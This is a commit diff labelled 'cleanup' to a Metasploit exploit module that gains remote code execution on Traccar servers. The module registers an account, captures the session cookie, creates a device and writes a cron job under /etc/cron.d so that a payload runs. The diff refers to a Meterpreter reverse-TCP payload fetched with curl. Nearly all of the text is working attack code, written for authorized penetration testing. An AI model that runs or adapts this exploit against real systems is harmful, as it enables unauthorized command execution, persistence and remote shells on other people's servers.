cleanup

cleanup

Author: h4x-x0r

modules/exploits/linux/http/traccar_rce_upload.rb

@@ -1,6 +1,7 @@
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
   include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
   prepend Msf::Exploit::Remote::AutoCheck
 
   def initialize(info = {})
@@ -36,16 +37,15 @@ def initialize(info = {})
             {
               'Arch' => [ ARCH_CMD ],
               'Platform' => [ 'linux' ],
-              'DefaultOptions' => {
-                'FETCH_COMMAND' => 'CURL',
-                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
-
-              },
+              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
               'Type' => :unix_cmd
             }
           ]
         ],
         'DefaultTarget' => 0,
+        'DefaultOptions' => {
+          'WfsDelay' => 75
+        },
         'Notes' => {
           'Stability' => [CRASH_SAFE],
           'Reliability' => [EVENT_DEPENDENT],
@@ -66,18 +66,12 @@ def initialize(info = {})
   end
 
   def check
-    begin
-      res = send_request_cgi({
-        'method' => 'GET',
-        'uri' => normalize_uri(target_uri.path, 'api/server')
-      })
-    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
-      return CheckCode::Unknown
-    end
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'api/server')
+    })
 
-    unless res && res.code == 200
-      return CheckCode::Unknown
-    end
+    return CheckCode::Unknown unless res && res.code == 200
 
     data = res.get_json_document
     version = data['version']
@@ -121,7 +115,8 @@ def execute_command(cmd)
     # not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
     # to run into when this module is executed more than once without updating the provided email address
     if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
-      fail_with(Failure::UnexpectedReply, 'Error: The same E-mail already exists on the system: ' + res.to_s)
+      vprint_status(res.to_s)
+      fail_with(Failure::UnexpectedReply, 'Error: The same E-mail already exists on the system')
     end
 
     unless res.code == 200
@@ -130,7 +125,7 @@ def execute_command(cmd)
 
     json = res.get_json_document
 
-    unless json.key?('name') && json['name'] == datastore['USERNAME'] && json.key?('email') && json['email'] == datastore['EMAIL']
+    unless json.dig('name') == datastore['USERNAME'] && json.dig('email') == datastore['EMAIL']
       fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
     end
 
@@ -149,19 +144,15 @@ def execute_command(cmd)
       fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
     end
 
-    raw_res = res.to_s
-    unless raw_res =~ /JSESSIONID=([^;]+)/
-      fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
-    end
+    jsessionid = res.get_cookies.scan(/JSESSIONID=([^;]+)/).flatten[0]
+    fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.') unless jsessionid
+    vprint_status("JSESSIONID: #{jsessionid}")
 
     json = res.get_json_document
-    unless res.code == 200 && json.key?('name') && json['name'] == datastore['USERNAME'] && json.key?('email') && json['email'] == datastore['EMAIL']
+    unless res.code == 200 && json.dig('name') == datastore['USERNAME'] && json.dig('email') == datastore['EMAIL']
       fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
     end
 
-    jsessionid = ::Regexp.last_match(1)
-    vprint_status("JSESSIONID: #{jsessionid}")
-
     name_v = Rex::Text.rand_text_alphanumeric(16)
     unique_id_v = Rex::Text.rand_text_alphanumeric(16)
 
@@ -187,7 +178,7 @@ def execute_command(cmd)
 
     json = res.get_json_document
 
-    unless res.code == 200 && json.key?('name') && json['name'] == name_v && json.key?('uniqueId') && json['uniqueId'] == unique_id_v && json.key?('id')
+    unless res.code == 200 && json.dig('name') == name_v && json.dig('uniqueId') == unique_id_v && json.key?('id')
       fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
     end
 
@@ -245,6 +236,8 @@ def execute_command(cmd)
       'data' => body
     )
 
+    register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")
+
     unless res
       fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
     end
@@ -255,8 +248,5 @@ def execute_command(cmd)
 
     # It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
     print_status('Cronjob successfully written - waiting for execution...')
-    sleep(60)
-
-    print_status('Exploit finished, check thy shell.')
   end
 end